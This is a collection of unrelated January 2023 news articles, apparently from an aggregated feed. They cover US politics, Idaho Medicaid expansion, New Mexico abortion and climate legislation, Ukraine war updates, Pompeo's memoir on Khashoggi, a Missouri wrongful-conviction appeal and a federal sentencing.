The Marshfield Senior Center launches its winter lifelong learning session with registration beginning Tuesday, Jan. 24, from 9:30 to 11 a.m. at 230 Webster St. Registration continues at the front desk. Classes include ballroom dance, beginner watercolors, introduction to chess, fairy tales and the authors behind them, Pilates, the Chinese healing arts, acting and more. Full payment is due at registration with cash or a check payable to the Marshfield Council on Aging. Prices range from $25 to $60, including supplies. For more information, see marshfieldseniorcenter.org or call 781-834-5581.

Reach Sue Scheible at sscheible@patriotledger.com.

Thanks to our subscribers, who help make this coverage possible. If you are not a subscriber, please consider supporting quality local journalism with a Patriot Ledger subscription. Here is our latest offer.

This article originally appeared on The Patriot Ledger: Korean, Vietnam veterans build new friendships at the Brant Rock Hop
WASHINGTON (Reuters) - Any agreement to address the U.S. debt ceiling and avoid a first-ever default by Washington will have to come from President Joe Biden and House of Representatives Speaker Kevin McCarthy, the top Senate Republican said on Tuesday.

Senate Minority Leader Mitch McConnell, who has played an integral role in debt ceiling negotiations in the past, predicted that no solution formulated by the Democratic-led Senate is likely to win approval from the House, which Republicans control by a slim margin.

"In this current situation, the debt ceiling fix  if there is one, or how it's to be dealt with  will have to come out of the House," McConnell told reporters.

House Republicans want to exact spending cuts from Biden in exchange for a deal on the debt ceiling. But the White House has repeatedly rejected negotiations over spending cuts, arguing that Congress has an obligation to increase the borrowing limit and avoid a default and the possibility of economic chaos.

"It's entirely reasonable for the new speaker and his team to put spending reduction on the table. I wish him well in talking to the president. Thats where a solution lies," McConnell said.

"I can't imagine any debt ceiling provision passed out of the Senate with 60 votes could actually pass this particular House," he added.

Biden and McCarthy have agreed to meet to talk about the debt ceiling and other issues. But no meeting has been scheduled.

McConnell spoke days after the U.S. government hit its $31.4 trillion borrowing limit, prompting the Treasury to begin extraordinary measures that could stave off a default until early June. Treasury Secretary Janet Yellen has called on Congress to move quickly to address the borrowing limit.

(Reporting by David Morgan and Katharine Jackson; Editing by Leslie Adler and Deepa Babington)
Deputy Prosecutor General Oleksiy Symonenko, who has been involved in corruption and other scandals, has submitted his resignation, online newspaper Ukrainska Pravda reported, citing law enforcement sources.

Symonenko went for a vacation to Spain in December-January using a Mercedes car owned by Lviv-based businessman Grigory Kozlovsky, according to an investigation by online newspaper Ukrainska Pravda.

The investigation triggered a major scandal, and the National Security and Defense Council on Jan. 23 banned state officials from leaving Ukraine, except for business trips.

Symonenko has been accused of blocking corruption cases and persecuting opposition politicians to curry favor with incumbent authorities.




A new mother with postpartum depression who received medication and counseling. A substitute teacher with terminal cancer whose chemotherapy treatment bought precious time with his family. A food service employee with an opioid dependency who received life-saving treatment.

Those are a few of the thousands of Idahoans benefiting from the states expanded Medicaid coverage, Idaho Department of Health and Welfare Medicaid Administrator Juliet Charron told lawmakers Monday, as they consider whether to continue funding expanded eligibility for Medicaid.

Without Medicaid expansion, participants who lose their coverage may experience gaps in care, Charron said during a joint meeting of the House and Senate Health and Welfare committees. And this may be particularly challenging for individuals who are currently receiving care, such as cancer treatment.

Officials from the Idaho Department of Health and Welfare in recent weeks emphasized to lawmakers the benefits of Medicaid expansion, a state and federal partnership that subsidizes health care costs for low-income Americans who earn up to 138% the federal poverty limit.

Idaho launched Medicaid expansion in 2020 after voters overwhelmingly passed a ballot referendum supporting it. After expanding Medicaid eligibility, Idaho lawmakers set a Jan. 31, 2023, deadline by which they would reconsider that decision.

Cost of cutting Medicaid expansion

About 140,000 Idahoans are enrolled in Medicaid under expanded eligibility.

Most of the roughly $1 billion Medicaid expansion budget covers pharmacy expenses, such as drug costs, followed by hospital services that include preventative screenings, surgeries, COVID-19 hospital stays and emergency room visits.

The Idaho Legislature appropriated more than $1 billion for Medicaid expansion for the first time this fiscal year, which started July 1. The Department of Health and Welfare is requesting a 3% increase next fiscal year.

In next fiscal years Medicaid expansion budget request, federal expenses are up about $25 million, to $803 million, compared to this year. The federal government covers 90% of Idahos Medicaid expansion costs.

Story continues

Expenses from dedicated funds  money controlled by the state and set aside for a specific purpose  are up nearly $3.5 million, to $20.9 million. Dedicated funds for Medicaid expansion are paid using settlement money from tobacco companies.

Meanwhile, general fund Medicaid expansion costs  composed mostly of income and sales tax revenue  are expected to decrease next year, from $68 million to $67.4 million.

The added costs of the Medicaid expansion would be covered by the increase in federal funding and state dedicated funds, Charron said.

The major factor driving those costs is an increase in supplemental payments to hospitals that participate in Medicaid, Charron said. Thats the result of a 2022 Idaho law directing more money to hospitals to cover the difference between Medicaid patients and patients covered by Medicare, the federal health insurance program.

Abandoning Medicaid expansion, and therefore, rejecting the $803 million in federal funds, would cost the state more than keeping the program intact, Charron noted. The 90% federal match helps fund indigent health care assistance, behavioral health services and other programs, she said.

Juliet Charron, Administrator of the Idaho Dept. of Health & Welfare Division of Medicaid, presents a summary of what Medicaid expansion has covered since starting in 2020, the programs budget and estimated costs moving into fiscal year 2024. Charron was presenting to a joint session of the House and Senate Health & Welfare committees, Monday, Jan. 23, 2023, in the Lincoln Auditorium at the Idaho Statehouse.

Absent Medicaid expansion, the state likely would spend $78 million taking over those costs, $10 million more than the general fund cost of continuing the expanded Medicaid eligibility.

Rep. John Vander Woude, R-Nampa, expressed skepticism that accepting the federal money is worth the savings to the state.

We have to take in $800 million in order to save $10 (million), he said during Mondays meeting.

Lawmakers will decide in the coming weeks whether to continue offering Medicaid to the expanded group. GOP House leadership this month signaled they arent keen on it.

House Speaker Mike Moyle, R-Star, said Medicaid spending is out of control. Medicaid expansion represents 23% of the states roughly $4 billion Medicaid budget, which recently surpassed public education as the states largest expense.

If we do not get this Medicaid animal under control, its going to have an impact on education and other places, Moyle recently told reporters.

The House and Senate Health and Welfare committees are preparing letters for the Legislature, with recommendations on how to move forward on Medicaid expansion, said Vander Woude, who chairs the House committee.

A joint session of the House and Senate Health & Welfare committees was presented with an update on Medicaid expansion, Monday, Jan. 23, 2023, in the Lincoln Auditorium at the Idaho Statehouse. Juliet Charron, Administrator of the Idaho Dept. of Health & Welfare Division of Medicaid, presented a summary of the program since it began in 2020.

Idaho officials search for cost savings

Idaho Gov. Brad Little included Medicaid expansion in his 2024 budget recommendations to the Legislature. But the Republican didnt mention Medicaid in his recent State of the State, his annual address on spending priorities.

Littles administration in the meantime is searching for ways to cut Medicaid costs. Last month, Little joined dozens of other governors calling on President Joe Biden to end a federal public health emergency that bars states from removing Medicaid enrollees amid the COVID-19 pandemic. The emergency is scheduled to end April 1.

About 67,000 Medicaid expansion enrollees likely are ineligible for Medicaid but fall under a group thats protected by continuous enrollment requirements under the emergency, Charron said Monday.

Next month the Idaho Department of Health and Welfare will launch a federally mandated redetermination process to purge ineligible enrollees from Medicaid. The process is expected to take six months.

House Majority Leader Megan Blanksma, R-Hammett, on Monday asked whether Health and Welfare will try to recuperate the costs of keeping ineligible enrollees in the program under the federal emergency rules.

Is there going to be any effort made to recover any of those costs, or are we just going to look at it as funds lost for the six months that that review should be taking place? she asked.

Federal rules prohibit clawing back those funds or terminating an enrollees eligibility before the redetermination process is complete, Charron said. Shirking the rules would result in penalties, she added.

During a House Health and Welfare Committee discussion Tuesday, Rep. Marco Erickson, R-Idaho Falls, recommended waiting two or three years before making changes to Medicaid expansion. Lawmakers would benefit from a clearer picture of the costs, without the effects of COVID-19, he said.

We had a really strange couple of years, Erickson said. We see some skewed numbers, and we didnt get a true understanding of whats really going to happen with this expansion.

House Minority Leader Ilana Rubel, D-Boise, said shes concerned defunding Medicaid expansion would remove access to cancer treatment drugs and antipsychotic medication.

I think we could see ... fallout in society that transcends something that might appear on a fiscal spreadsheet, Rubel said.

Meanwhile, state officials are probing ways to cut Medicaid costs, officials told lawmakers in recent weeks. The Idaho Division of Financial Management last year solicited an independent cost containment report from Medicaid consultant Sellers Dorsey.

The Department of Health and Welfare is considering a few ideas from the interim report, Charron said. The interim report was completed last month and included more than a dozen short-term cost-saving measures, such as terminating dental benefits for adults and eliminating the states primary care case management system, which allows primary health care providers to monitor Medicaid enrollees while receiving a stipend from the state. A full report that includes long-term cuts will be completed in April.

We know Medicaid cost containment is important to you and its really important to us, too, Health and Welfare Director Dave Jeppesen told the Legislatures budget-setting committee last week.

The department last year implemented value-based payment agreements, a system in which health care providers cover the cost of Medicaid patient care if it exceeds an annual target and share savings with the state if the cost is less.

Jeppesen said the departments goal with such programs is for the general fund cost for Medicaid to increase at the same or a slower pace than tax revenue growth.

We need to do that while preserving access to services for Idahoans, which is going to require ongoing system transformation, he said.
Florida Gov. Ron DeSantis (R) has been firing barrage after barrage in the culture wars  a strategy that many Republicans see as an effort to raise his profile and differentiate himself from former President Trump in advance of a 2024 run for the White House.

Virtually everyone in political circles expects DeSantis to make a presidential run.

Some of the incendiary issues he is embracing  especially around race  could pose challenges in a general election. But DeSantis, fresh off a big reelection win in Florida, seems happy to take that chance for the moment.

On Monday, he defended the decision, announced last week by the states Department of Education, to reject a proposed advanced placement course on African American studies.

To critics, the move amounted to Orwellian race-baiting. But DeSantis placed the ban in the context of his general opposition to what he derides as wokeness, insisting education is about the pursuit of truth, not the imposition of ideology or the advancement of a political agenda.

That followed on the heels of a several moves catering to populist conservatives.

DeSantis has recently sought to make bans on COVID-19-related mandates permanent  and make it harder for medical boards to reprimand dissenting doctors who are accused of spreading misinformation.

He has requested, and last week received, an accounting from Floridas public universities of the money they spend on diversity, equity and inclusion efforts.

He has also sought aggregate data from those same colleges about gender dysphoria treatment of students. And, last month, the Florida Supreme Court accepted his request to set up a grand jury to investigate any alleged wrongdoing relating to COVID-19 vaccines.

Every one of those moves has drawn media attention and liberal outrage  and that, of course, is part of the point.

It really boils down to picking a fight with the right perceived opponents, said GOP strategist Kevin Madden. And if you are in the earliest stage of a 2024 primary, that can be picking a fight with the media, or the education establishment, or picking a fight with liberals driven by political correctness. 

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Madden continued: There is some risk involved in that. Some of the issues play differently in a general election and with suburban voters and more moderate voters. But when you are trying to make a name for yourself and at the break-out stage, you are not thinking of that.

DeSantis is clearly the most serious challenger to Trump for the GOP nomination. Even though the former president leads most surveys, the Florida governor is way out ahead of every other alternative.

In an Economist/YouGov poll earlier this month, for example, Trump received 44 percent support from registered voters in a hypothetical GOP primary with DeSantis on 32 percent. The next best-placed candidate, former Vice President Mike Pence, registered a mere 5 percent.

DeSantis and his advocates are rumored to see a vulnerability for Trump on COVID-19, particularly given the skepticism expressed by many Republican voters about vaccines, masks, mandates and public health advice in general during the pandemic.

Trump has boasted about his administrations role in speeding the development of the COVID-19 vaccines. But he was booed by an otherwise supportive crowd in late 2021 when he acknowledged having received a booster shot.

DeSantis has acknowledged getting an initial vaccination but does not appear to have ever said whether he got a booster.

Republicans sympathetic to Trump have little patience for what they see as DeSantiss posturing on the issue. They note that DeSantis was at one time a strong advocate for vaccinations, and that Trump was himself opposed to mandates.

There has been a lot of whitewashing of DeSantiss record on COVID, which in a lot of ways is pretty similar to Trumps record. DeSantiss entire policy on vaccines was no different than Trumps at all, said one GOP operative supportive of Trump.

The pro-Trump operative, granted anonymity to speak candidly, also contended that DeSantiss strength could wilt under the heat of a full-on presidential campaign.

Everybody in the country knows what they think about Donald Trump and their views are not going to change. Trump has a very concrete floor of support, this source said. Conversely, voters  including those that currently like him  do not have as concrete a view of DeSantis. Hes never proven he can take a punch in the face, and he has a lot more room to fall than Trump does.

But DeSantis has one big advantage right now that Trump does not: he holds office. That means he can wield actual power and prove to conservative activists that he can put his money where his mouth is.

He has got to solidify himself with that base Republican vote and these cultural issues matter a lot. They are very emotional and emotion drives a lot of voting, especially in primaries, said GOP strategist Keith Naughton.

By using the levers of power, Naughton added, DeSantis gets to play one of his best cards  the argument that that he brings competence in contrast to Trumps chaos.

Trump is struck with his record from his administration, Naughton said. DeSantis is trying to one-up Trump on the competence issue.

Whether that works remains to be seen. But the first shots of the 2024 primary are already being fired.

The Memo is a reported column by Niall Stanage.

For the latest news, weather, sports, and streaming video, head to The Hill.
South Asia is one of the most disconnected regions in the world in terms of roads and connectivity infrastructure. Recognizing its potential for economic growth, the Belt and Road Initiative (BRI), proposed by China in September 2013, aims to increase collaboration and connectivity with nations in the region, bolstering mutual development and prosperity. Over the last decade, the BRI has become a massive infrastructure, trade and connectivity project spanning the Eurasian region, the Middle East and many parts of Africa.

At the moment, Beijing has maintained its engagement with South Asian neighbors under the BRI framework, an integrally added value in contemporary Chinese foreign policy with the aim of boosting multi-sector connectivity. China is the largest trading partner of most of the countries in South Asia, but the rising trade imbalance with Beijing has become a political issue in every other capital. Cooperation between China and its southern neighbors is undoubtedly increasing, but the approach to the BRI is not identical. There is tremendous variation in the perception of the BRI in Nepal, Pakistan, the Maldives, Bangladesh, Sri Lanka and India, as each country has a different approach towards the initiative for their own ends. The BRI's progress in this region can significantly impact the overall outcome of this mega-project. As immediate neighbors, the South Asian attitude toward the BRI is a matter of utmost interest not only for scholars of international relations, but also for global policymakers.

Kalyan Raj Sharma, a Nepali scholar, has offered an academic feast to BRI enthusiasts by attempting to diagnose the problems and prospects of the BRI in South Asian countries. His latest book, "Belt and Road Initiative and South Asia," is an anthology of articles written by diverse scholars, policy experts and practitioners from South and Southeast Asian countries. The book attempts to provide a clear overview of how the BRI has promoted economic cooperation between China and its southern neighbors and boosted their economies while considering the challenges of the BRI from the perspectives of those countries.

The chief characteristic that makes this book unique is the way it offers country-specific BRI experiences and fruitful discussions about leveraging the initiative for regional development and integration. It also encourages countries to identify workable project-specific approaches for implementing the BRI for connectivity, with the win-win model as the main mantra.

As a journalist from Nepal, I was impressed by the insightful analysis of the prospects and challenges of the BRI from Nepal's point of view. For example, the authors suggest that if implemented properly, the BRI will reduce the trade gap between Nepal and other countries in the region while uplifting the economy of the nation and the entire region.

In 2019, China promised to help Nepal turn into a "land-linked" country from a "landlocked" one. The promise aligns with its concept of building a community with a shared future by following the principles of friendship, sincerity, reciprocity and inclusiveness while pursuing bilateral and multilateral cooperation. In the book, readers will find out the importance of enhanced Nepal-China cooperation under the BRI framework via friendly communications.

The book also offers a picture of how the COVID-19 pandemic has remodeled the panorama of the BRI in South Asia, with some forecasts of major shifts in the modality of the initiative in the years to come. For example, due to China's progress in technologies, such as 5G services, big data and artificial intelligence, BRI investment is expected to increase in more sectors, such as clean energy, green agriculture and healthcare.

Moreover, the book goes beyond South Asia and offers the experiences of Southeast Asian countries in terms of BRI cooperation, including Malaysia and the Philippines.

There is an old saying in China: "Close neighbors are better than distant relatives." As such, China's policy towards regional neighbors always has stressed peace and collaboration. Its customary friendship with these countries has always been based on principles of peaceful coexistence and multi-sectoral cooperation. With a solid sense of authenticity, this book recommends how promises can be fulfilled between China and South Asia. It attempts to create a platform for debate over many issues related to BRI cooperation and its implementation in different countries in South Asia.

The book tells us that it is important for South Asian Association for Regional Cooperation (SAARC) countries to get involved in BRI cooperation in a feasible manner. The manufacturing sector is one of the weaknesses of South Asian countries, impacting their trade imbalances with China. The book points out that countries could bridge the gap by participating in the BRI actively and cautiously. Therefore, the BRI helps turn the most disintegrated region into an integrated one.

Saroj Gautam is a journalist from Nepal. He is pursuing his Ph.D. in international relations at China Foreign Affairs University (CFAU) in Beijing.

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.

If you would like to contribute, please contact us at opinion@china.org.cn.
By Andrew Hay

TAOS, N.M. (Reuters) - New Mexico's top prosecutor on Monday asked the state's highest court to overturn abortion bans imposed by conservative local governments in the Democratic-run state where the procedure remains legal after Roe v. Wade was struck down.

The move comes after the New Mexico cities of Hobbs, Clovis and two surrounding counties bordering Texas passed ordinances in recent months to restrict abortion clinics and access to abortion pills.

New Mexico Attorney General Raul Torrez filed an extraordinary writ in New Mexico Supreme Court to block the ordinances which he said were based on flawed interpretations of 19th century federal regulations on abortion medication.

This is not Texas. Our State Constitution does not allow cities, counties or private citizens to restrict womens reproductive rights, Torrez said in a statement.

Right-to-life activists said the regulations remained valid under federal law and vowed to work on bringing such ordinances to more cities in New Mexico, the only state bordering Texas where abortion remains legal.

New Mexico's largest cities of Las Cruces and Albuquerque have become regional destinations for women seeking abortions since the U.S. Supreme Court in June ended the nationwide constitutional right to the procedure.

Located on New Mexico's eastern plains, Clovis and Hobbs do not have abortion clinics but approved ordinances to stop providers locating there to serve patients from Republican-controlled Texas, one of the first states to impose a near-total ban on abortion.

In direct response, New Mexico Democrats have drafted legislation to prevent cities from overriding state laws guaranteeing womens' rights to reproductive healthcare. The legislation is due to be debated this month and has a strong chance of passing the Democratic-controlled state legislature.

The small community of Eunice on Monday became the third New Mexico town to pass an ordinance, according to anti-abortion activist Mark Lee Dickson.

"Cities and counties across the state remain on good standing to pass ordinances," said Dickson, director of Right To Life East Texas, adding that the regulations had never been repealed by the U.S. Congress or declared invalid by the U.S. Supreme Court.

(Reporting by Andrew Hay in Taos, New Mexico; Additional reporting by Brad Brooks in Lubbock, Texas; Editing by Edwina Gibbs)
A bill addressing climate change in New Mexico with the expenditure of millions of state funds passed out of its first committee Monday on a 7-2 vote by lawmakers.

Senate Bill 5 was sponsored by Sens. Elizabeth Stefanics (D-39) and Elizabeth Thomson (D-24), and went before the Senate Health and Public Affairs Committee where lawmakers granted the measure a do pass recommendation.

SB 5 had yet to be scheduled for its next committee hearing, as of Tuesday.

More:Energy and environment bills to watch during New Mexico's 2023 Legislative Session

If passed, the bill would require New Mexico adopt a statewide plan to address climate change and take preventative measures to avoid impacts of extreme weather events like wildfires.

The plan would be headed by the States Environmental Health Epidemiology Bureau with the Department of Health, and the bill set a deadline of Jan. 1, 2024, for its implantation.

The Bureau would also administer a newly created Public Health and Climate Resiliency Fund that would help local communities prepare of climate change, while also working with local governments to devise their own action plans.

More:Federal oil and gas reforms debated by New Mexico environmental, industry groups

The fund would offer grants of up to $250,000 for climate change projects at the local level, with at least half of the total grant funds going to communities with populations less than 100,000.

The bill would appropriate $5 million to the fund to pay for the grants for Fiscal Years 2024 through 2028, and another $1.1 million annually to aid in establishing the statewide program.

An analysis from the Legislative Finance Committee showed the funding would allow for the hiring of about 6 full-time employees for the work, but that additional employees would need to be funded.

More:Lujan Grisham calls to spend big in State of State speech, as New Mexico rakes in oil money

Widespread scientific consensus agreed the worlds climate is changing and could create extreme weather conditions, the analysis read, that could create health hazards for people.

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This included higher levels of air and water pollution, drought, food and water shortages and physical injury, read the report.

Although scientific understanding of the effects of climate change is still emerging, there is a pressing need to prepare for potential health risks, the report read. A wide variety of organizations (federal, state, local, multilateral, private and nongovernmental) are addressing the implications of climate change globally.

Despite this breadth of activity, the public health effects of climate change remain largely unaddressed.

More:Energy storage pushed by New Mexico lawmakers via tax credits to boost renewable power

Stefanics said SB 5 would help the state take steps to alleviate these problems.

During her testimony before the committee, she said it was essential local communities have the support needed to prepare for emergencies.

State Sen. Liz Stefanics swill be in Ruidoso Wednesday, Oct. 24.

Weve had several climate events, traumas in our state, Stefanics said. Issues that really confound communities and that communities do not prepare or plan for.

Opinion:Public health and climate resiliency: An opportunity for New Mexicans

She pointed to Ruidoso, within Stefanics district, where she said a wildfire 10 years ago continued to threaten the local water system during heavy rains along the burn scar in the decade since, despite efforts by federal agencies.

Every time it would flood from fires and then rain, it would take mud into the reservoir that not only served Ruidoso, but also the city of Alamogordo, Stefanics said. If communities had the option to work on this in advance, prepare, then they might more ready or more prepared.

Another analysis from the Legislative Education Study Committee contended that preparation often includes public schools used as community shelters in times of weather emergencies and natural disasters like flooding.

Opinion:Atmospheric rivers endanger the West

The analysis said school districts used in this way could likely apply for and received funds as political subdivisions, if the bill was passed, to cover related expenses.

Funds from the bill could also be used, read the analysis, to support school-based health centers addressing long-term health impacts tied to climate change.

School districts are often cornerstones of local communities emergency response plans, the report read. Schools offer large, spacious buildings that can be used to shelter displaced residents during fires, floods, or other natural disasters.

SB5 could also support the work of school-based health centers in addressing public health concerns that are proximally related to climate change.

Sen. Antoinette Sedillo Lopez (D-16) said that while she supported the bill for protecting New Mexicans from the effects of climate change, she thought the state should be working harder to prevent climate change rather than preparing for it as an inevitable.

It saddens me that were already moving to adaptation and mitigation, and not engaging in trying to prevent it, she said.

Adrian Hedden can be reached at 575-628-5516, achedden@currentargus.com or @AdrianHedden on Twitter.

This article originally appeared on Carlsbad Current-Argus: New Mexico lawmakers advance bill to fund local climate change response
In a new memoir, former Secretary of State Mike Pompeo mocks the international reaction to the grisly killing of Washington Post columnist Jamal Khashoggi and dismisses him as an activist  not a journalist.

The media helped spread faux outrage over the incident, Pompeo writes in the book, which was published Tuesday.

Pompeo was serving under then-President Donald Trump in October 2018 when Saudi Arabian agents murdered Khashoggi and dismembered his body inside the Saudi consulate in Istanbul. The columnist had been a well-known critic of Saudi Crown Prince Mohammed bin Salmans rule.

To Pompeo, though, the public reaction to Khashoggis brazen assassination was excessive.

He didnt deserve to die, but we need to be clear about who he was  and too many in the media were not, Pompeo writes in Never Give an Inch: Fighting for the America I Love, according to NBC News.

The news media hammered the story extra hard because Khashoggi was a journalist, he says, per the Guardian.

To be clear, Khashoggi was a journalist to the extent that I and many other public figures are journalists. We sometimes get our writing published, but we also do other things. The media made Khashoggi out to be a Saudi Arabian Bob Woodward who was martyred for bravely criticizing the Saudi royal family through his opinion articles in the Washington Post, he writes, referring to the famous Watergate reporter.

Pompeo says the killing  which he calls outrageous, unacceptable, horrific and despicable  was not surprising to him because he had seen enough of the Middle East to know that this kind of ruthlessness was all too routine in that part of the world.

He goes on to cast doubt over Khashoggis allegiances, citing New York Times reporting about his ties to Islamist group the Muslim Brotherhood and al Qaeda founder Osama bin Laden as a young journalist working in the Middle East.

Reached for comment by NBC News, Khashoggis widow, Hanan Elatr Khashoggi, flatly denied that he had been part of the Muslim Brotherhood.

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I confirm it to you, she said.

Whatever he [Pompeo] mentions about my husband, he doesnt know my husband. He should be silent and shut up the lies about my husband, she told the outlet. She described Khashoggis views as thoughtful and nuanced, and she noted that he always condemned the Sept. 11 terrorist attacks.

Fred Ryan, the publisher and CEO of The Washington Post, skewered Pompeo for his characterization of the deceased columnist, calling it shocking and disappointing to see the book so outrageously misrepresent the life and work of Khashoggi.

His only offense was exposing corruption and oppression among those in powerwork that good journalists around the world do every day. Jamal dedicated himself to the values of free speech and a free press and held himself to the highest professional standards. For this devotion, he paid the ultimate price, Ryan said.

Separately, a book critic for the Post said that reading Pompeos tome was like being locked in a room and forced to listen to 20 hours of [Fox News host] Tucker Carlson reruns at top volume.

Pompeo responded to Ryans criticism in a Tweet Tuesday afternoon:

Americans are safer because we didnt label Saudi Arabia a pariah state. I never let the media bully me. Just b/c someone is a part-time stringer for WaPo doesnt make their life more important than our military serving in dangerous places protecting us all. I never forgot that. https://t.co/jidmb6R6oU  Mike Pompeo (@mikepompeo) January 24, 2023

Amid Khashoggis disappearance, Trump sent Pompeo to the Saudi Arabian capital to reaffirm U.S. support for Crown Prince Mohammed and the country.
 The EU has allocated EUR 500 million ($543 million) to further military aid to Ukraine.



The decision was made at the most recent EU foreign ministers meeting in Brussels. The package includes EUR 45 million ($49 million) for non-lethal equipment for EUs program of training Ukrainian troops. Notably, Hungary did not veto the aid package, but remains opposed to further sanctions against Russia, especially if they would limit Budapest and Moscows cooperation in nuclear energy.





 Turkish President Recep Tayyip Erdogan said Sweden shouldnt expect Turkey to support its NATO accession.



The statement came following a protest in Stockholm, where protestors publicly burnt the Quran. Those who caused such a disgrace in front of our embassy should not expect any benevolence from us regarding their NATO membership applications, Erdogan said.





 Fitch Ratings has affirmed Ukraines Long-Term Foreign-Currency Issuer Default Rating (IDR) at CC.



The credit rating company explained that Ukraines likely massive economic damage, caused by the full-scale Russian invasion, will most likely result in further debt restructuring and haircuts for creditors. Fitch also forecasted GDP growth of 2% in 2023, with ongoing conflict preventing a sizeable return of refugees or large-scale investment, while energy outages following Russian strikes provide an additional headwind into 2023.





 Ukraine is to contract U.S. nuclear company Westinghouse to build two new nuclear reactors at the Khmelnytskyi Nuclear Power Plant.



Ukraines Ministry of Energy, quoting Ukrainian Energy Minister Herman Halushchenko, reported on Jan. 20 that the Ukrainian government has approved an order to organize construction of the two new reactors. The estimated completion date for the construction and start-up of the reactors is 2030-2032, although the timing may be affected by the course of military operations. The cost of each reactor is to be about $5 billion.

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 Ukraines Council of Ministers has dismissed Vasyl Lozynskyi, Deputy Minister of Development of Communities, Territories and Infrastructure of Ukraine, from his post for accepting a $400,000 bribe.



According to Infrastructure Minister Oleksandr Kubrakov, an inspection has been initiated of all existing projects of the Ministry of Communities, in particular those with budget or international funding, as well as technical assistance projects. Lozynskyi is also suspected of being a member of an organized criminal group, and has been detained on various corruption charges.





 President Volodymyr Zelenskyy congratulated Ukrainians on the countrys Unity Day.



The holiday celebrates the union of the Ukrainian Peoples Republic and the West Ukrainian Peoples Republic in 1919, which resulted in the formation of the first modern Ukrainian state. The President stated that the events of the past year events have passed two pieces of wisdom down to the next generations of Ukrainians. The first, he said, was that Ukraines full sovereignty can only be restored if Ukrainians keep fighting. The second is that Ukrainian independence can only be lost if real unity inside the country is first lost.





 Russian propaganda channel RT France has ceased operations following an asset freeze caused by recent EU sanctions.



The Ministry of Foreign Affairs of France stated that they consider the decision to suspend RT Frances operations in the country to be a legitimate response to unceasing Russian aggression against Ukraine.





 A meeting of defense ministers at Ramstein failed to approve the shipment of Leopard 2 tanks shipment to Ukraine.



Pistorius said Western defense ministers didn't manage to come to a shared view of transferring German-made tanks to the Ukrainian army. All pros and cons must be weighed very carefully," Pistorius said, adding that there is no sign of a final decision on the matter.

 The lack of a decision resulted in protests breaking out in Berlin.





 NV provides a snapshot of civilian life in frontline Bakhmut.



The Bakhmut area has been one of the hottest spots in the war for months. At the same time, despite the constant danger, volunteers continue to help the population of the frontline town of Bakhmut, which is under constant shelling by the Russian invaders.





 The days long read: Why the West missed Russian fascism, reveals author Oksana Zabuzhko  NV interview



In an interview with Radio NV Editor-in-Chief Aleksey Tarasov, Zabuzhko spoke about the revolution in the world of Western Slavic studies provoked by the Russian invasion of Ukraine, noted erroneous stereotypes about Russian culture, and commented on the sudden epiphany of figures like Frank-Walter Steinmeier, who she argues were until recently loyal to Russia.





 Dont miss: How Ukraine keeps migrants connected to home, explains Deputy Prime Minister Olha Stefanishyna  NV interview



In an interview with NV, Stefanishyna spoke about the Ukrainian governments work on simplifying bureaucratic procedures for temporary migrants in the EU, protecting war-affected Ukrainians, and preparing Ukraine for the post-war recovery.





In their opinion: Putin's last hope



Former Foreign Minister Volodymyr Ohryzko explains what Putin is telling the West in his latest speech, and why the Russian dictators words are peppered with so many lies.



Read the original article on The New Voice of Ukraine
The Missouri Supreme Court heard arguments Tuesday over the role of a local prosecutor seeking to overturn a conviction under a fairly new state law, which could affect future cases in rural counties.

The arguments came in the case of Michael Politte, who for more than two decades has maintained he was wrongly convicted in the 1998 murder of his mother, Rita.

Politte, who was 14 when he was arrested, was paroled last year after spending 23 years in prison.

Weeks after Polittes release, then-Washington County Prosecuting Attorney Joshua Hedgecorth filed a motion seeking to throw out Polittes conviction. The only physical evidence that connected Politte to the crime, he said, had been scientifically proven false.

The Missouri Attorney Generals Office contends Politte got a fair trial and is guilty. Taking the case to the states highest court, the AGs office argued Hedgecorths motion should be dismissed because he lacked authority to file it. While Politte was tried by Washington County prosecutors, the trial itself was moved to and held in nearby St. Francois County, in southeast Missouri.

Hedgecorth, a Democrat, lost his reelection bid in November to lawyer John Jones, a Republican. On Tuesday, Jones argued that the prosecutor in the jurisdiction where the underlying crime occurred is the right official to bring such a motion for many reasons, including their specific ethical duty to go back and correct injustices that were done through their offices actions.

The hearing exemplified an ongoing power struggle between local prosecutors seeking to overturn convictions under the 2021 law and the AGs office, which for decades has tried to uphold verdicts  even, critics say, in the face of overwhelming new evidence.

If the AGs office prevails, the law will all but cease to function in rural counties because changes in venue for trials are more common in those regions than they are in metropolitan areas, Jones office argued.

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I dont think the General Assembly intended to treat rural defendants who may have been unjustly convicted in a different way than defendants in bigger cities, where there may not have been as good of a basis to get a transfer of venue, Jones said Tuesday.

Michael Politte laughs after he was released on parole April 22, 2022, from the Jefferson City Correctional Center in Missouri. He maintains he was wrongly convicted of murdering his mother in 1998.

The new law gave Jackson County prosecutors the avenue to free Kevin Strickland, who spent 42 years in prison for a triple murder he did not commit in Kansas City. Across the state, St. Louis prosecutors hope a similar motion they filed will soon free Lamar Johnson, who they say has spent 28 years in prison for a murder that two other men admit committing.

In Polittes case, Hedgecorths motion did not argue that he is actually innocent, but that he was erroneously convicted.

Polittes lawyers say he became the main suspect after he found his mothers body burning on the floor of their Hopewell mobile home. At trial, prosecutors relied on expert testimony claiming gasoline was found on Polittes shoes. But re-evaluations since then have concluded no ignitable liquids were present, and that the chemical compound likely came from the shoe manufacturing process.

Polittes sisters believe he is innocent, and some of the jurors who voted to convict him years ago have raised concerns. After learning of evidence never heard at trial, two have come to believe he is innocent, while others said he deserved a new trial.

I now firmly believe ... that we made a terrible mistake, one juror wrote in an affidavit.

In its arguments, the AGs office also said Washington County prosecutors created a conflict of interest by seeking to exonerate Politte. Jones office called that assertion breathtaking given the AGs feigned ignorance of the higher duty his office has to justice.

The 588 known exonerations secured by prosecutors across the country affirm what the rest of the legal community already knows is true: there is no ethical conflict for a prosecutor to overturn a conviction, Polittes lawyers, including ones from the Midwest Innocence Project and the MacArthur Justice Center, wrote in their own brief.

In a separate filing, dozens of legal experts across the country said the AGs office misconstrues the role of a prosecutor, which is to seek justice. That, they wrote, includes not only avoiding the conviction of an innocent accused but seeking to rectify the wrongful conviction of an innocent defendant.
A Monessen man was sentenced to 97 months in federal prison Monday for traveling across state lines to engage in sex with a minor.

Mark Sassak Jr., 38, started talking with someone whom he believed to be a 15-year-old female through a social media app, according to a news release from the U.S. Attorneys Office.

Conversations continued through text messages for several weeks, when Sassak asked to meet and have sex. Sassak drove from his home to Bridgeport, West Virginia, in October 2020 to meet, and law enforcement arrested him, according to the report. Officers found multiple chats with suspected minors and child pornographic videos on his cellphone.

